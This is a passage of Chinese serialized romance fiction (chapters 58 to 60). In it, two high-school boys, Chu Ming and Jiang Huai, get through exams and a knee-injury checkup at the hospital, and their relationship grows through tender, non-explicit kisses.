“楚明,”他指尖轻轻抬起楚明的下颌,对视深刻直白:“我喜欢你。”—— 作者有话说:感觉也许,我很喜欢写成长线的一点就在于:彼此身上都有对方的影子,互相改变也互相塑造。 〔但愿我有写出这种感觉,哪怕一点点[可怜]〕 第58章 第 58 章 “要咬回来?” 上床。 灯灭之后, 视野混沌半秒,转而渐渐清晰。 江淮侧身睡着,对窗, 平日屋里窗外不可避免的细碎的杂音今晚却极轻极微, 像包了层真空,他甚至怀疑自己是不是耳鸣或者直接聋掉了。 身边的人翻了次身,挨得有点儿近的薄被缩出去一截儿。 片刻后他听到了楚明克制的一声叹息。 “没睡着?”江淮轻声问。 楚明的声音传过来:“嗯。” 两人沉默着没有再说话,背对着纹丝不动。 “我起来刷会儿题, ”楚明现在脑子里全是江淮这个人, 他的脸他的声音他的气息,跟摄入过量咖啡因似的眼睛闭着睡意却到了九霄云外,怎么拉都拉不回来。 话音缓缓落完, 他掀开薄被,作势要起身却觉腰间忽地一沉。 他惊了半瞬,还没反应过来就见江淮一个大摆锤, 整条手臂便横搭在他腰腹, 细长的手指熟练地翻进衣服里,掐住侧边,他跟烙饼似的被卷进江淮的怀中。 随后柔顺的发丝滚进脖颈间, 伴随着淡淡的嫩竹香气。 “我要睡。”江淮埋进他肩窝里, 鼻尖蹭了蹭。 楚明僵住:“你睡你的, 缠我干嘛?” 江淮没应声, 他之前以为睡不着的时候跟着楚明的呼吸声便好, 但渐渐地他发现,有时候只需要挨着楚明,嗅着他的气息,渐渐地就会被睡意淹没。 现在也是, 迷迷糊糊间人就软陷进意识深处了。 安静里楚明能感觉到江淮呼吸渐渐平稳,应该要睡着或者已经睡着了。 “……”那他呢? 楚明抽出被压得发麻的手臂,感受着喷落于锁骨间的江淮的热息,呆滞地盯着天花板。 操,更睡不着了- “这周考什么默写篇目来着,蜀道难是不是?”赵逵逵抱着《高考必背古诗文72篇》,高大地走到江淮面前,往里问去:“语文课代表?” “嗯?”楚明正趴在课桌上,眼睛都没睁开,好像捕捉到什么关键词:“嗯。” 江淮轻笑一声。 “我操,怎么困成这样?”赵逵逵合拢书,扭头看了眼时间:“三千米跑完后劲儿这么大吗?” 楚明没再有声音,像是睡着了。 “别闹他,”江淮转了圈笔,说:“让他睡会儿。” “哦,好。”赵逵逵克制住音量,尽量小声地蹲在江淮课桌旁说:“昨天楚明不是跑完三千还得第一吗?没半会儿就有人来找我要他联系方式……” 江淮停笔,眉心不悦地下压。 “我当然没给,而且这不重要,”赵逵逵没留意到他的表情,快速说道:“重要的是有人拍到你俩偷偷上看台。” 江淮冷呵一声:“拍到又怎样?”他们又没做什么出格的事,连拥抱都没有。 “这不是违纪吗?”赵逵逵说:“果然关注一多什么事情都跟外放似的。最主要的是怕老马知道,又让你们罚站保洁什么的。” “不重要。”江淮重新开始转笔,看了眼赵逵逵:“谢谢报信。” “!!”赵逵逵瞳孔震了两震:“哥们你——” 江淮不为所动地等着他的后话。 “跟楚明附体了一样。”赵逵逵讶然出声。 江淮:“……” 服了,楚明是有多爱说谢谢。 没等赵逵逵对昨天楚明的事迹展开说说,教室里有人开始嚎起“尔来四万八千岁,不与秦塞通人烟……” 他才惊觉自己的使命,先一步走开:“忘看蜀道难了,我先紧急一波,保重。” 江淮淡淡回应:“嗯。” 距离考试播报开始没两分钟了。 旁边楚明还没有要醒过来的意思,趴在双臂之间,露出的双眼轻阖,连眼皮微颤都没有。 “你昨晚几点睡的?”江淮探身过去,一巴掌掐他腰上。 楚明闷哼一声,盲摸过去压住了他的手腕。 江淮轻笑,伏过去低声说:“偷牛去了吗?” 楚明:“……” 他缓缓坐直,头顶白亮的灯光刺得眼睛痛,他不悦地皱起眉毛,嗓音嘶哑:“四五点吧,不记得了。” “这么晚?”江淮看着他,“你还真是舍己为人。” “嗯?”楚明坐直时抬手看了眼手环,想再睡会儿的念头彻底被打消。 “昨晚不是有人失眠?”江淮扯了下嘴角:“我猜她应该睡得很好。” 楚明:“……” 他单手拿过桌角的水,拧开瓶盖灌了两口,带着长夜未眠的嘶哑才有所缓解,“你怎么总念着她?” “谁知道呢。”江淮指尖隔着衣料勾划着他的腰:“我又和她不熟。” 楚明看着他。 这倒打一耙打得倒是轻松,窦娥来了都得说句他冤枉。 ……昨晚他脑子但凡能进得了别人,他至于干看着天花板看到天亮吗? 广播“波!”了一声,开始播放考试细则。 教室顿时轰乱开,几十条魂儿合上书哀嚎连天地出教室放书进厕所找考场。 楚明桌面没书不需要收捡,考试用笔在裤兜里。 听到铃声他站起身,淡淡扫过江淮捏着笔的手,抬手照常轻按到他座椅靠背的边角,示意让位。 江淮抬眼一言不发,跟他作对似的还往后枕靠在椅背,发丝轻轻滑过楚明手臂内侧。 楚明:“……” 他轻轻叹了口气,附耳低声说:“没睡着是因为你,不为别的。” 江淮挑了下眉,嘴角扬起弧度,笑意零星散在眼里,蔓延开。 “起来了,”楚明拍到他肩头:“我座位是考试用桌。” “哦。”江淮压了压嘴角,没压下去,起身轻快地走出教室。 楚明快步跟上,前脚江淮踏出门槛,后脚他就抓住了江淮的手腕,飞速下滑紧紧握住手心十指相扣。 偏头时鼻尖蜻蜓点水般擦过,江淮轻顿:“嗯?” 楚明说:“跟我走。” 走廊里考试广播回荡开,挤着来来去去的人,背书讨论声哄闹一片。 楚明牵着江淮的手,两只手掩藏在校服袖口下,避让开匆匆的人流,他们穿过走廊。 “去厕所?”江淮看走向猜了个七七八八,晃了下楚明的手:“你上厕所还要我陪?这么黏人?” 楚明:“……” 他带着人拐过厕所直奔楼层最边上的长廊——这处连通高三那栋教学楼,总是安静少人。 没等江淮再问,楚明折转进楼梯间脚步骤停,转身一个揽肩靠拢重重抱紧了他。 校服衣料被压得贴紧肌肤,温热相接怀抱盈满的同一时刻,楚明贴着他耳边狠狠地说:“江淮你是狗变的吗!” 江淮:“……” “就没见过你这么护食的。”楚明含着笑意说。 江淮愣了一瞬,反应过来时掌心揉进他腰腹,用力收紧拥抱,轻哼一声:“怎么,怕了?” 楚明不理解:“我怕什么?” “我就是这样的人,”江淮齿尖磨过他耳垂,紧密贴合一瞬又即刻分离:“是我的骨头一丝一毫都得进我的肚子,哪怕是气味,我也讨厌别人来闻。” 楚明默了瞬:“……你还真当上狗了。” 江淮轻笑,目光忽地捕捉到什么,他退出半步拉着楚明的小臂便往厕所里带,问了句貌似无关紧要的话:“你还困吗?” “嗯?”楚明跟上,如实:“有点儿。” 进到厕所隔间的刹那,楚明被猛地一股推力压到门板。反锁都不需要,门便严密关合住。 楚明瞳孔微张:“你——” 话音未落脸颊被轻柔的发丝勾过,痒得不像话。 紧接着脖颈刺疼,利齿嵌破薄皮狠地探进,微凉的唇温安抚着跳动的颈动脉。楚明怕哼出声连忙咬紧牙关,手指收紧重重撑在门板上。 江淮这口咬得挺深,那颗格外尖的犬齿贪婪地往里深入,他清楚地感受到楚明的忽颤,稍作停留他才退开些许,在狂野的心跳里开口:“清醒没?” 楚明现在何止是清醒,稍不留神他妈的他明年都能过清明! 他靠在门板偏了下头,皮肉撕着发疼,他缓了半会儿:“江淮你好样的。” 江淮下唇沾着些血,舌尖轻勾着卷走,他低声:“要咬回来?” “咬屁,”楚明反手拉开门,好在隔壁高三还在考前集体复习,出来浪的人少,他走到洗手台前对镜看了看颈侧。 毫不意外的,鲜明的一道齿痕,还沾着颗浑圆的血珠。 江淮倚靠在瓷砖墙上,静静地扫看他用清水擦洗那块绯红的皮肤。 凌居理智之上的如潮情绪渐渐退落,他清醒地看着留在楚明颈项间的自己的“杰作”,餍足里有带着点……歉意。 “对不起。”他沉声说。 “对不起不是这么用的,”楚明甩开手上的水渍,得亏他习惯套件外套进校,借衣领勉强遮盖好齿痕,他压着声音:“你下次要再这么没醋硬吃,我绝对揍到你哭。” 江淮挑了下眉。 “去考试,”楚明长舒气,拽了他一把:“你简直是条狗!” “嗯,”江淮跟着他走出厕所,淡淡地瞥了眼被遮住的半隐半现的红痕:“很疼吗?” “你拿圆规尖儿往这戳一下试试。”楚明说。 但话归话,那点疼意他还是受得住的,只是瞬间遍及全身的颤栗让他很不习惯,连带着升腾起燥意。 江淮看着他的侧脸没说话。 “看我干嘛?”楚明捏了捏他手腕,指腹狠狠磨过凸起的腕骨:“该我咬你的时候只会更狠。” 听到这话江淮脚步一停,看着他眸光微动。 楚明耳梢泛出绯色,余光看清班级后连忙拽了把江淮:“走,考试去。” 江淮看了他一会儿,唇角勾笑:“嗯。” 考试规则播报不知道结束多久了,两人穿过走廊往考场教室找的时候,楼道静得落针可闻。 楚明后一步跨进考场,空着的课桌上试卷答题卡大摊着,在监考老师孤疑的注视里他淡定地走到第一排正中位置坐下,摸出兜里的笔写名字。 不得不说,江淮咬他这一口,给他咬得是真清醒透顶。 他长呼气,在监考老师垂眼便能毕览无余的答题卡上落下字迹- “谁能有我惨!”打完饭坐饭桌上,赵逵逵连宠幸饭菜的本能都没顾上,怨妇一般:“你们简直猜不到,今天语文考试的时候监考我们考场的是谁!” 江淮面无表情地夹起饭:“卫老师。” “你怎么知道!”赵逵逵不存在的眼泪风干一秒,又继续飘摇:“可怜我赵逵逵,她就围着我身边看来又看去。做默写的时候我真的很纠结,纠结半天写下来两个字就听到卫老师在我耳边发出一声冷笑,就像这样,高冷的一声:呵……我操,我瞬间就绷不住了……” “……你话说慢点,”江淮听他啊啊啊的时候没忍住打断了他。 赵逵逵顿住:“啊?” 江淮淡淡地瞥了眼他的餐盘:“饭给吹凉了。” 赵逵逵:“…………” 楚明没忍住偏头笑了一声。 “楚明你居然也笑得出来,”赵逵逵听到笑声连忙看过去。 楚明震惊地看着他:“嗯?” 江淮挑了下眉,也跟着看过去。 “我和你一个考场啊,你还迟到了。”赵逵逵被盯得发毛,连忙说道:“你没看到卫老师?” 楚明微愣:“……嗯。”他印象里进门的时候是个不认识的老师。 “嗯?一开始监考的是个男老师,考了二十多分钟卫老师来替班。”赵逵逵解释说:“我听说他俩是一对……你居然没意识到吗?” 楚明张了张嘴,没说出话来。 他考试的时候确实不怎么抬头,做完题单手撑着脸在补觉。 江淮夹起花菜扔嘴里,知晓内情似的勾唇微笑。 “牛逼啊,”赵逵逵瞳孔一边地震一边海啸:“有这专注力你干什么都会成功的。” 楚明:“……” 他淡淡开口:“我应该是困的。” 赵逵逵:“……” 叮呤咚咙地吃完午饭,没休息多久考试继续。 这次进考场的时候楚明格外留意了下监考老师。 英语考试和杨丽质对视上,楚明:“……” 再下一节数学考试和大马猴四目相对,楚明:“……” 他脑子里一瞬间回荡开赵逵逵的尖叫,魔咒似的响了半分钟。 果不其然“考试结束”的铃声一响,赵逵逵跟被戳中机关似的一直“啊啊啊”啊到走廊,发出象征进化的一声:“操,楚明你说我们霉不霉,这是人能遇到的事情吗?啊啊啊啊……” 楚明:“……” 他安抚道:“应该没有下次了。” “肯定不会有下次!”赵逵逵有种被雷劈过的焦麻:“不过你确实比我更惨,我好几次抬头看时间,不管是杨老师还是老马,眼珠子都快掉你卷子上了。哥们你保重,我都不敢想讲卷子的时候你会被cue多少次,到时候开口就是‘我监考的有些同学……’,简直世界十一大酷刑之首……” “你脑子好热闹,”楚明听他念叨笑容都没淡过。 “是吗?”赵逵逵嘿嘿一笑,“第一次听人这么说。” 迎面江淮走了过来,汇合后一起绕到班级公共区域搬书回教室。 班级里热烘烘的,又是搬桌椅又是收拾书本——这个时候再高冷的人都会憋不住考后吐槽。 “难吗?”江淮随口问道。 楚明收书快,照常翻看着试卷,如实说:“一般。” “啧,”江淮笑了笑:“我很期待。” 楚明顿了下,把试卷摊在桌面:“也许。” 他这次考试没有任何顾忌,该什么样便是什么样,带着一股突如其来的勇气和底气。 目光里江淮凑过来在看他的数学卷,若有所思地打量着。 他看着他乌黑的头发,忽地想:如果没有遇到江淮,如果没有透过江淮看到曾经的自己,会不会在静静流逝的时间长线里,他也许就真的做不回自己…… “你什么表情?”江淮用笔头敲了敲他手背:“担心考差吗?” 楚明回过神来:“也不是。” “嗯?”江淮挑了下眉。 楚明肯定地说:“大概率考得不理想。” “怎么,”江淮声音压得有些低:“睡醒了发现只剩三十分钟了?” 楚明:“……” 他微顿:“直觉。” 就像昨天跑三千,他同样没有顾忌,想跑出成绩。 可是人身体和心理的运转却总是倚靠一些本能,跑道上,他本能地在同样的节点选择停下脚步——而若是没有江淮和场外的人,他或许挣扎得更久,也或许挣脱不出来。 想到这儿,他眼睫轻颤,下意识探出手去勾江淮的,想要认真地握紧。 “你干嘛呢?”江淮回握住,晃了晃。 楚明遵从内心:“想抱你。” 江淮愣了下,正想抱过去就见大马猴从前门走进来,他只得默默地收了手,小声:“等晚上。” “……嗯。”楚明细细捏着他的每根手指。 大马猴今天话格外少,发完住校生的手机就宣告放假。 连句热切的叮嘱都没有,不知道急着要干嘛- 楚明回家的时候,顺带捎上了江淮。 把书放到卧室书桌上,包里的手机忽地响了,楚明随手接起。 “现在?”楚明问。 “嗯,你们考完有一会儿了吧,”吴珊在电话那头说:“你昨天不是说江淮去参加什么三级跳远,还说膝盖可能扭到了。我有点担心就约了医生,现在过去应该差不多。” “我知道了。”楚明三两步走出卧室,沙发上江淮坐着在玩手机,不知道看到什么眉眼含笑。 他微顿,挂断电话走过去。 “怎么?”江淮见他走来,抬眼:“现在要抱?” “……”楚明认真地说:“跟我去趟医院。”—— 作者有话说:明天见! 第59章 第 59 章 “再亲一下。” “你不舒服?”江淮立马拧眉。 “没。”楚明稍作停顿, “是带你去检查一下。” 话音才落,江淮眸光就暗下去了,本能在抵触。 “我陪你去。”楚明轻声补了一句。 其实他隐隐能感觉到江淮对检查膝盖这件事抵触的原因。 就像有些近视严重的人发自内心地不想去检查视力——脱下眼镜在陌生人面前展露自己的缺陷, 即使事件本身不分性质, 但情绪也会先一步定性。 江淮捏着手机微微用力,沉沉地叹气,“非去不可?” “嗯。”楚明走到他面前,俯身, 从上往下抱住了他, 下巴抵在他肩窝,柔声说:“你选选,是走着去还是我扛你去。” 江淮:“……” 他往旁边丢出去手机, 双手绕到楚明后背抱紧,埋在他脖颈间:“你是不是又在管我了?” 楚明轻叹气后无奈地说:“那你现在是不是又在犟了?” 耳边是轻轻的呼吸起伏,鼻尖是淡淡的属于对方的气息, 江淮手指收紧, 没有说话。 他不想去。 他总说自己有分寸,虽然事实上也是,疼不疼、行不行自己感知得到——但那也只是自己知道。 他不想暴露在外, 看着诊断报告落下这样那样的专业名词, 而后告诉他亲近的人说如何如何不行……这段时间他时常会感觉到膝弯锁痛, 就同年前严重时候一样。 昨天力不从心的三级跳以及偶尔冒头的难忍的钻痛, 他不想承认但不得不承认, 情况或许远比他所想糟糕。 “还没选好?”楚明觉得保持这个姿势有点儿废腰,问了句。 江淮蹭了蹭,抿着唇不答。 “你……”楚明欲言又止,感受着颈侧滑过的柔软的发丝, 眼里溢出些心疼,他很轻地说:“再想想吧。” “嗯 。”江淮闷闷地应了声。 “你是不是能感觉到什么?”楚明手心一下接一下拍着他的背。 江淮点了下头:“嗯。” 楚明张了张嘴,欲言又止。 印象里江淮好像没有哪天不做康复训练,就连昨天表白完都没落下。 想恢复的欲望太强烈了,他其实不太敢想如果最终的检查结果低于江淮的预期,得多难受。 他把江淮抱得更紧,喉管发涩。 “靠,”江淮忽然挣了一下,脑袋顶着楚明的颈侧往外拱:“你差点勒死我。” 楚明:“……” 江淮长长地呼出气,“走吧,反正结果再差也就是缺条腿了。” 楚明微怔:“……好。”- 到医院之后,就开始繁忙了。 把该做的检查做完该拍的片子拍好,江淮心不在焉地坐在等候区的椅子里,逃避似的横过手机开了局游戏。 到号之后楚明微顿,附耳过去:“走。” “嗯?”江淮抬眼,闷声:“嗯。” 说实话江淮从小到大没对什么东西感到畏惧,活的是别人心里艳羡的自由模样。 只是当他次次从医院走进又走出,耳边回荡开囫囵又冗长的信息,希望着来绝望着去,他便开始厌倦、反感、排斥,甚至慢慢地害怕。 推开门时,江淮顿了一下。 “怕什么?”楚明摸索着勾住他的手,握紧。 江淮回握,轻摇头:“没。” 把几份片子和报道单递出,医生推了推眼镜,皱着眉一言不发。 狭窄的房间里只有电脑运作时细微的电流声,以及片单翻动的摩擦声。 江淮反手看了眼手机屏幕。 挂机之后游戏角色被机器接手,队内讨论区不停滚动。 【阿越】江哥你干嘛呢? 【别说话那什么我】硬上?!一对五江哥你疯了? 【吃西瓜不吐籽】报告长官,这里有人挂机! 他扣上手机,掀起眼皮淡淡地看向医生。 “你这孩子,”医生又推眼镜,“不听医嘱啊。” 江淮轻抿着唇。 楚明捏着他的手,指尖轻点着他手背,安抚似的。 “内侧半月板跟内侧副韧带和关节囊完全连接,撕裂位置在红区……是有愈合概率的,当然也并不太高。”医生操着一口不太普通的普通话,说:“半月板有自我形合功能,也就是说即使上下两层裂开了,只要不剧烈运动,它不加大到更严重的撕裂,就不会那么疼……所以知道医嘱的重要性了吗?” “嗯。”江淮回应了声。 “也不用太担心,你现在还小,身体正处于上升期,愈合能力很强。”医生说:“只是之前处理得有些……另外没完全恢复之前,不建议一些运动,像羽毛球啊……” 楚明轻拧眉:“完全恢复?” “嗯。按我的经验来讲,能自己长好的可能性还是很大滴。”医生说:“他身体不错,又年轻。等没有症状,半年后再拍核磁,基本就可以了。” 江淮不动声色地挑了下眉:比他想象中情况要好一些。 想着他垂眼,轻轻晃了下左腿。 “还有的话……”医生在交代一些注意事项。 楚明有种听生物课的错觉,耳中晃过一堆专业性名词,他半消化半思考地听着,余光里江淮正小幅度地晃着腿,他没忍住手指刮着他手背。 江淮扬起小拇指勾了勾他手心。 “差不多就是这样。”医生再度说:“要听医嘱,不要乱来,知道吗?” 江淮点头:“嗯。” “切记不要剧烈运动。”医生忧心忡忡:“知道吗?” 江淮无奈地再次点头:“嗯。” 旁边楚明捏着他的拇指尖儿眉眼含笑,现在的江淮,还……蛮乖的。 等从医院出来,天色黑中带蓝,丝云飘横,晚风轻柔。 医院路道外拥挤着行走卖饭的,熙熙攘攘间有斑斓的气球放飞,心情好似也跟着轻松下来。 “有点饿,”江淮站大门口伸了个懒腰。 “加强营养,”楚明想起医生关于饮食的嘱托,问说:“吃猪蹄儿?” “好。”江淮没挑。 傍晚出来的时候楚明没骑车,走回去的路上顺道去超市买了些吃食。 时间太晚猪蹄儿没买到,回到家里楚明拎着菜直接进厨房,估摸着时间提前预订了一份外卖。 “你做啊?”江淮趿着拖鞋走进来,倚在门框。 “嗯。”楚明端着饭锅和水,闻声微抬眼:“下次你做。” “好。”江淮捏着手机,横屏进了游戏。 厨房不大,灯光明黄,带着视觉上的暖意。 耳边偶尔响起锅碗瓢盆叮铃当啷的声音,江淮进游戏的间隙,抬眼看看楚明的动作,目光缓慢地落在他手指、手臂、侧颜、脖颈,嘴角勾着始终没下来过。 “我开个麦。”江淮心情颇好。 楚明正清着菜:“开你的。” 没过两三分钟厨房里落满游戏特效声,以及熟悉的音色——应该是严越那帮人。 楚明听了会儿,觉得挺有意思:热热闹闹的,跟着音效声他择个菜切个段跟打功夫似的。 “我不行了,这开局逆成什么样子了!” “对面真没开挂吗?啊为什么我技能都没放完一套对面就给我秒死了?” “骚瑞啦,俺这局评分可能有点低……” 江淮不怎么说话,只是沉默地操作着,偶尔会哼笑一声,并言简意赅地给出评价。 “你出去玩,”准备好食材,楚明走过来时手肘拨了拨他。 “嗯?”江淮震惊地抬眼,连手上的操作都停了。 楚明对上他的眼神,没忍住轻笑:“你在这儿我容易走神。” 江淮看着他:“你在嫌弃我?” “……”楚明轻顿,怎么从医院回来之后,情绪还变敏感了呢。 他倒不是嫌弃,只是江淮在这不管是人还是声音,存在率都过高——他喜欢江淮发出的那些略带嘲讽的轻笑和偶尔给到的指令。 时不时一走神,等会儿炒菜给锅炸了……啧,不敢想。 没等他回话,江淮手机里忽地跳出一阵声音。 “耶?我怎么听到楚明的声音了?” “江哥你俩在一起呢?” “楚哥要不要一起玩儿?我能带新手!超级无敌能带!” “去吧你就,你就是蹭新手保护期!” …… “嘶,”江淮连忙把麦掐了,脑袋往后抵着门框,微仰头,静静注视着他。 “我没嫌弃你,”楚明看着他的眼睛。 “抱我。”江淮上前一步。 “嗯?”楚明指尖沾的有水,只用手臂内侧轻轻压贴在腰间,往后环去,等了一会儿:“够了吗?” “不够。”江淮往下,下巴压在他肩窝。 “啧。”楚明想笑,到底谁黏人。 “我敲!江哥你怎么不动了?” “报告长官,这里有人挂机!” 两道嘈杂的声音接连冒头,楚明轻笑:“你还要挂多久?” “……”江淮只好先松开他,倚在门边抖掉人机的操作,看了眼形势直奔对面而去。 对面抱团在走,盾围得跟铁墙似的,江淮没什么感觉,操纵英雄直接一屁股当空坐进去,开大招刷人。 “又是一打五?江哥的人机如此生猛!” “报告长官,这里有人机——我操,带走了两个?” “不是人机不是人机,笑死我,对面全在打问号。” …… 江淮刷出来的人机怕不是就是被江淮的操作给带偏的吧。 楚明看着他绚丽地死掉,一打五带二残三,“挺厉害?” “不厉害,”江淮只是发泄情绪,把手机扔到旁边桌面,“我来帮你。” “……好。”楚明为他的队友默哀两秒- 外卖比预计时间到得要早。 等江淮把猪蹄汤装好盘,这边楚明舀好饭,再端上来两个菜。 “挺好吃的。”江淮依次尝完三个菜。 “不好吃也得吃。”楚明笑着:“没得选。” 江淮笑了笑:“嗯。” 下午考试傍晚做检查,实在是身心俱疲。 吃饱饭收好碗,洗漱完躺床上,江淮长长地呼出一口气,翻身埋在枕头里,声音闷闷地传出:“你还做题啊?” “闲着没事,练练手感。”楚明坐在书桌前,摁开台灯,认真地看着题,“你先睡吧。” 江淮定定看了他一会儿,没选择堕落在床上。 掀开薄被他翻身下床,往客厅走了趟,再回来时手里多了几张片子。 留意到身边的动静,楚明往后倚着椅靠,看着他的脸轻眯了下眼:“看得懂吗?” “看得懂大概。”江淮一张张翻阅过,或许才受伤的时候他看这些灰白色的扫描图片毫无感觉,但现在,他对骨骼关节间一些细小的变化都格外敏感。 刚才吃饭的时候他查过电子版的MRI平扫结果,跟前片比对来看,向好趋势明显是有的。 楚明指间夹着笔,眼睫低垂。 他虽然跟着江淮在旁听,但其实什么也没听出来。 旧往的病情他不了解,医生那些乐观的话听着不太真,悲观的话他也不知道到底悲观到了哪种地步。 江淮没有立刻回话,一直看完最后一张片子和附带的诊断结果,才微微抬眼。 “嗯?”楚明看着他沉静黑漆的瞳孔,愣了下,“怎么了?” 江淮晃了晃手里的片子,夹在指缝,提步走到他座椅背后,两手撑在椅靠,自上而下垂落目光,声音发沉:“应该吧。” 这语气听着不太对,楚明后仰着头和他对视:“应该什么?” 顶灯和台灯光线相叠,江淮俯身时罩下一片宽阔的阴影。暖黄光色浮落在他眉眼间,带着令人心颤的惊艳。 心跳在此刻漏了一拍,楚明不自觉地屏住呼吸。 一坐仰一俯身,两人之间距离很近。 熟悉的淡竹香气卷进鼻尖,江淮的气息逼近的毫秒里,空气被勾缠着的呼吸蒸出暖意,楚明捏着黑笔手指骤然收拢、蜷紧。 灯光被身影切割开,浓重的墨色压在眼前,视觉一瞬迷蒙听觉短暂失灵,取而代之的是敏感的触觉神经。 微湿的柔软轻压在楚明唇上,漾开细密的麻意。 他愣了下,下一秒江淮的手从脖颈后绕来,扣住他下颌骨轻轻上抬,于是将将贴触的唇瓣更深地压合。 啪嗒!一声,楚明手劲骤然松落,黑笔掉在地上,不知道滚了有多远。 江淮手指捏着他下巴边光滑薄腻的肌肤,舌尖轻轻舐过楚明紧闭的唇瓣,没逗留,温热的唇便挪开些许,挨他耳边很轻地笑了声。 楚明有些懵,微散的瞳孔渐渐聚焦。他下意识抿了唇,滚烫里似乎还卷带着江淮的气息。 江淮微哑的嗓音落在耳膜:“你怎么硬得跟死了一样?” 楚明:“……” 他回过神,呼吸凌乱:“没反应过来。” 江淮挠着他下巴窝,另一条手臂也环过他脖颈,抖了下被捏得边角凹陷的片子。 楚明后脑勺贴着他的肩,目光随着他动作落在核磁的诊断结果上,看不懂,但想到江淮刚才的…… 他很轻地拧了下眉:“是情况不太好——” “是好了很多。”江淮打断了他,唇角勾笑地说。 “嗯?”楚明顿住:“那你——” ……跟得了绝症最后的缠绵一样。 “我怎么?”江淮知道楚明在想什么,他故意的。 楚明耳后那片皮肤泛出薄红,他别开眼:“没什么。” 说着他坐直,取走江淮手里几张硬质的片子,煞有介事地看起来。 江淮弯腰捡起刚刚砸到他脚踝的黑笔,放好笔,面对面地他坐到书桌边沿,挑了下眉:“你看得懂吗?” 楚明:“……” 他确实看不懂。 江淮轻勾唇,向前探身。 楚明在他靠过来的瞬间下意识攥紧片子,但江淮却先一步扫开,硬质片单散落一地。 微热的指尖撑进手心,生硬地卡进指缝与他十指相扣,声音响在耳畔:“再亲一下。”—— 作者有话说:明天继续[星星眼] 关于半月板的医学问题,作者并不专业哈,编编编编到厌倦[可怜] 第60章 第 60 章 “我谈恋爱了。”…… 话是这么说, 可江淮却在离他唇丝毫的位置停顿住,等着楚明主动似的。 呼吸像是热浪,带着微湿的水汽和绵密的痒意洒在鼻尖唇角。 楚明视线被心跳撞得支离破碎, 心底灼烫的欲望烧得他呼吸急促, 本能地倾靠而去,江淮却在这时微微往后仰了半寸。 “嗯?”楚明嗓音沉哑,顾不得那么多,追着吻去的同时伸手猛地兜住他后脖颈, 用力朝自己按来。 一瞬间压实, 彼此的气息被碾碎交合。 细微的颤栗荡化在炽热的唇温,像被烫到,江淮本能想要往后躲, 但后脖颈被四指紧紧抓着,他挣扎不动反被掐着向滚烫里迎合去。 意识有片刻混沌不清,感知却史无前例的清晰。 按在脖颈的手指掐得越来越深, 颈项往后仰出漂亮的弧度, 随着楚明落于他颈动脉的指腹忽地用力,江淮眉心轻地一拧,没忍住微微张开嘴, 不争气地哼出了声。 ……后背被紧抓着, 要掐进肉里似的生疼, 眼前晃出小片碎乱的光影, 楚明微喘着偏过头, 额头轻抵在江淮肩头,胸前阵阵起伏着。 江淮沉沉叹气,抓在楚明后背的手指慢慢地松下劲来,他趴伏过去, 埋在他颈窝里。 楚明手心往下滑到江淮后背,微塌的后腰勒出明显的背沟,他重重地摸了一把。 “啧,”江淮声音带着喘:“你信不信我脖子后面绝对几道痕。” “……你以为你手上的劲儿就小了吗?”楚明感觉后背衣料都被抓烂了,没看都能感觉到背上刺愣愣的一道道凸起的划痕,他轻顿:“你指甲是不是长了……” “嗯?”江淮抬起手,目光越过他肩线落在自己指尖。 好像是有点儿长了。 他一向没有指甲留长的习惯,长了就咔嚓掉,只是最近没太顾到。 楚明极轻地笑了声:“起来,我给你剪。” “嗯。”江淮缓缓坐直。 书桌不是该坐的地方,但江淮懒得动,双手撑在身后支起上半身,他微抬着下巴细细打量着楚明。 楚明拉开抽屉拿了指甲剪。 这会儿安静下来才发觉喉咙干涩,他起身:“我喝点水,你要吗?” “要。”江淮说。 等楚明走出卧室,江淮怔愣了会儿,才潮退的感知一点点返进脑海,他忽地抬手,指腹轻轻滑过下唇,水分被卷走,微凉里泛出干涩。 他低头笑了笑。 这才哪到哪啊,就开始回味了…… 等了会儿还没见楚明进来,江淮拧了下眉:“楚明你是在现烧水吗?” “……”楚明端着水杯晃进卧室,无奈地怼到他面前:“有半分钟吗?” “没有吗?”江淮接过水杯,温的,他咬着杯沿三两口喝光。 楚明肯定:“没有。” 江淮:“……” 他又支使楚明去接了杯温水- “手。”楚明掰好指甲剪。 “嗯?”江淮依旧坐在书桌上,长腿斜着支到地面,他把左手递出去。 楚明握住他的手,目光落在他手指之间,挺漂亮的,指弧形状规整,指甲干干净净。 江淮看着他低下去的眉眼,轻声说:“你悠着点。” “我知道,”楚明神色认真:“再说这又不是什么精密工程。” “我记得初中的时候,严越不想听课,就偷偷在桌肚里剪指甲,”江淮说,“一剪子下去血肉模糊。” “嗯?”楚明换了根手指轻捏住:“这得走神走到天外了吧。” “蠢而已,没别的。”江淮笑笑。 楚明忍俊不禁:“……”这话严越知道吗? 其实江淮指甲也没那么长,与其说是剪,不如说是在修。 修完他还轻磨了磨。 “抓你抓得这么痛吗?”看着他细致入微的动作,江淮挑了下眉。 “……嗯。”楚明轻顿,稍显无奈:“你上辈子八成是只狗,还是只挺凶的狗。” 江淮笑着:“你要不要这么变相来骂我?” “没骂,”楚明轻轻磨着他指甲弧。 爱咬人还爱抓人,他实在想不出还有什么品种。 等修修剪剪磨磨完,楚明吹拂掉碎屑,把指甲剪塞回抽屉:“差不多了。” 江淮翻了翻手掌,指甲被剪出流畅的月牙弧,短了一小截儿。 看着看着他用脚尖轻挑楚明脚踝。 “嗯?”楚明被弄得有点痒。 “这么会剪,”江淮看着他:“之前是不是——” 楚明一秒打断他:“给我家小土狗剪过。” 江淮单挑了下眉。 “怎么吃醋还吃上瘾了?”楚明窝在椅子里,江淮则坐在桌上,高度有所差距,他看他的时候总要仰起些弧度:“是不是但凡我之前给谁剪过指甲你还得给我脖子上啃一口?” 江淮轻轻地笑了,他微微探身,食指勾着探到楚明颈侧:“是。” “……”楚明有些无奈:“滚蛋。” 江淮笑着俯过去抱住他脖子,闭眼吸了一口气。 “下去,”楚明抽过桌上的黑笔,用笔头轻拍他侧腰:“我写题。” “……哦。”江淮松开手站起身来。 书桌上摊着几张试卷,旁边摞着十几本教辅和资料书,书堆顶上则放着一小叠打印用A4纸。 “这是什么?”江淮拿起那堆A4纸。 楚明朝他手里瞥去,“打印好的试卷。” “我能做吗?”江淮翻着纸张细看,订书针各订了四张,这一叠差不多十几套题。 “嗯,”楚明默了下:“本来就是给你准备的。” “是吗?”江淮抬脚勾来旁边的座椅,坐到他旁边,抽出笔作势要开写。 “是,和之前给你的几套题同系列。”楚明说,“应该比较合你的水平,你按上面标的顺序来。” 江淮挑了下眉:“合我的水平?” 楚明看着他说:“差不离吧。” “你……”江淮还真有点意外。 “嗯,我。”楚明用笔尾巴点了点打印出的试题:“我整理的。” 江淮发自内心地:“牛逼。” 